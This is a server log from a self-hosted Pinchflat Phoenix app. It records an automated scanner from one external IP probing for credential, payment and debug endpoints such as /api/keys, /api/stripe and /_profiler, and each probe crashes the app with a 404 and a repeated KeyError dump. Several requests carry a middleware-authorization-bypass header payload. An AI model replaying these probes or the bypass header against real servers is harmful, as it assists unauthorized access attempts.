:undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21612.0>, params: %{}, path_info: ["api", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/stripe", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgfvKjwuxBTsABcPC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37132}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37132}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21612.0>, params: %{}, path_info: ["api", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", (truncated) 15:40:36.762 [error] #PID<0.21611.0> running PinchflatWeb.Endpoint (connection #PID<0.21610.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /telescope/requests ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21610.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37138}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21611.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgfvKuHpXUGwACMlh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21610.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37138}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21610.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37138}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21611.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", " (truncated) 15:40:36.874 [info] GET /api/keys 15:40:36.874 [info] GET /horizon/api/stats 15:40:36.874 [debug] QUERY OK source="settings" db=0.2ms idle=112.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.874 [debug] QUERY OK source="settings" db=0.2ms idle=224.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.875 [debug] QUERY OK source="settings" db=0.1ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.875 [debug] QUERY OK source="settings" db=0.1ms idle=112.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.875 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.875 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.875 [error] #PID<0.21616.0> running PinchflatWeb.Endpoint (connection #PID<0.21614.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /horizon/api/stats ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /horizon/api/stats (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37140}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21616.0>, params: %{}, path_info: ["horizon", "api", "stats"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/horizon/api/stats", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAggKAXi94mxgACMmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37140}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /horizon/api/stats (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/horizon/api/stats", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37140}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21616.0>, params: %{}, path_info: ["horizon", "api", "stats"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/horizon/api/stats", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMA (truncated) 15:40:36.875 [error] #PID<0.21615.0> running PinchflatWeb.Endpoint (connection #PID<0.21613.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/keys ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37148}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21615.0>, params: %{}, path_info: ["api", "keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/keys", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAggKAXi-kac0ABcPi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37148}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37148}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21615.0>, params: %{}, path_info: ["api", "keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Wind (truncated) 15:40:36.989 [info] GET /_profiler 15:40:36.990 [debug] QUERY OK source="settings" db=0.1ms idle=227.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.990 [debug] QUERY OK source="settings" db=0.0ms idle=115.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.990 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.990 [info] GET /api/payment/config 15:40:36.991 [debug] QUERY OK source="settings" db=0.0ms idle=115.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.991 [debug] QUERY OK source="settings" db=0.0ms idle=115.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.991 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.990 [error] #PID<0.21618.0> running PinchflatWeb.Endpoint (connection #PID<0.21617.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_profiler ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37154}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21618.0>, params: %{}, path_info: ["_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in 